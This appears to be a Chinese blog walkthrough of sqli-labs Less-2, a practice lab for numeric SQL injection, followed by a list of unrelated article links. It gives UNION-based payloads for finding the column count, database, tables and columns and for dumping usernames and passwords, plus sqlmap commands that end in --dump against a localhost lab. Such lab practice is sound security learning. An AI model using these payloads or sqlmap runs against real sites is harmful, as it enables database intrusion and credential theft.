当前位置: 首页 > article >正文

sqli-labs(第二关)

前言:

今天做第二关。

正文:

打开第二关页面如下:
在这里插入图片描述
(1)找注入点:
还是一样,试一下id,我上篇文章忘记说了,第一关是字符型,一开始判断注入类型,是字符型还是数字型,字符型就是id是一个字符串,如果是字符串的话,在数据库里就有一个单引号,这个时候再注入的时候就需要对SQL进行闭合,具体体现就是在id=1后面加个单引号。数字型就是在SQL语句中id=数字,然后在进行注入的时候,就不需要单引号闭合,如果闭合的话,就会一直报错。
这个时候输入以前的payload

?id=1'
?id=1''

都会报错。这个时候我们只需要把单引号去掉就行。
(2)找列

?id=1 order by 2
?id=1 order by 3
?id=1 order by 4

在这里插入图片描述
说明是3列。
(3)找数据库名

?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata

在这里插入图片描述

(4)找表名

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

在这里插入图片描述
(5)找列名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

在这里插入图片描述
(5)找数据

?id=-1 union select 1,group_concat(username),group_concat(password) from security.users

在这里插入图片描述

用sqlmap跑一下:

sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-2/?id=1

在这里插入图片描述

sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-2/?id=1 --dbs

在这里插入图片描述

sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-2/?id=1 -D security --tables

在这里插入图片描述

sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-2/?id=1 -D security -T users --column

在这里插入图片描述

sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-2/?id=1 -D security -T users -C id,password,username --dump

在这里插入图片描述


http://www.kler.cn/a/389323.html

相关文章:

  • 【MySQL】约束
  • 《C++在金融领域的技术革命:高效、安全与创新的融合》
  • 【云计算解决方案面试整理】1-2云计算基础概念及云计算技术原理
  • 如何用C#和Aspose.PDF实现PDF转Word工具
  • 闯关leetcode——3174. Clear Digits
  • Android 配置默认输入法
  • ThinkBook 14+ 2024 Ubuntu 触控板失效 驱动缺失问题解决
  • 腾讯自研的 Git 客户端!!【送源码】
  • vue3中使用输入框按回车键刷新页面问题
  • 零拷贝Zero Copy
  • RabbitMQ的应用
  • 【STK学习】part1-卫星轨道与Walker星座基础知识
  • 《TCP/IP网络编程》学习笔记 | Chapter 4:基于TCP的服务器端/客户端(1)
  • 信息泄露漏洞一文速通
  • Facebook vs. Google:哪个更适合你的品牌
  • rabbitMq怎么保证消息不丢失?消费者没有接收到消息怎么处理
  • MySQL_聚合函数分组查询
  • 【神经科学学习笔记】基于分层嵌套谱分割(Nested Spectral Partition)模型分析大脑网络整合与分离的学习总结
  • 无人机手势控制工作原理和算法!
  • 【笔记】开关电源变压器设计 - 工作磁通的选择原则
  • 机器学习中的两种主要思路:数据驱动与模型驱动
  • Stable Diffusion WebUI或ComfyUI下载不了huggingface?修改huggingface为国内镜像地址方法在这里
  • 计算用户订购率梧桐数据库和oracle数据库sql分析
  • 关于elementui el-radio 赋值问题
  • Redis 高并发分布式锁实战
  • 基于vue框架的的社区人员信息管理系统4x9bn(程序+源码+数据库+调试部署+开发环境)系统界面在最后面。